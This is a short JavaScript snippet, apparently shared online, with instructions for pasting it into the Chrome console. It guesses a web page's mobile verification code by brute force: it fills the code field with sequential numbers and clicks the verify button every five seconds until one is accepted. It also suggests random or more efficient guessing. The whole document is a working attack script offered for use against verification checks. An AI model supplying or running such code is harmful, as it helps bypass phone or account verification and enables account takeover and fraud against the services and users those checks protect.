You can run this code on chrome console and it will automatically fill the verification code and clicks the verify button until the webpage accepts one

AutoMobileVerification.js

// 1. Go to the chrome console
// 2. Paste this below code and press enter

var i=1000;
function verifyMOBI() {
// data to execute
    document.getElementById("ENTER THE INPUT BOX ID").value = i;
    document.getElementById("ENTER THE VERIFY BUTTON ID").click();
    i++;
}
function runner() {
    verifyMOBI();
    setTimeout(function() {
        runner();
    }, 5000);
}
runner();

// 3. You can use inspect element tool to capture the input box and button ID's
// 4. You can change the timeout delay(in the above code I used 5000ms)
// 5. Update the code in order to generate random numbers or use other efficient algorithm
// 6. Try it!
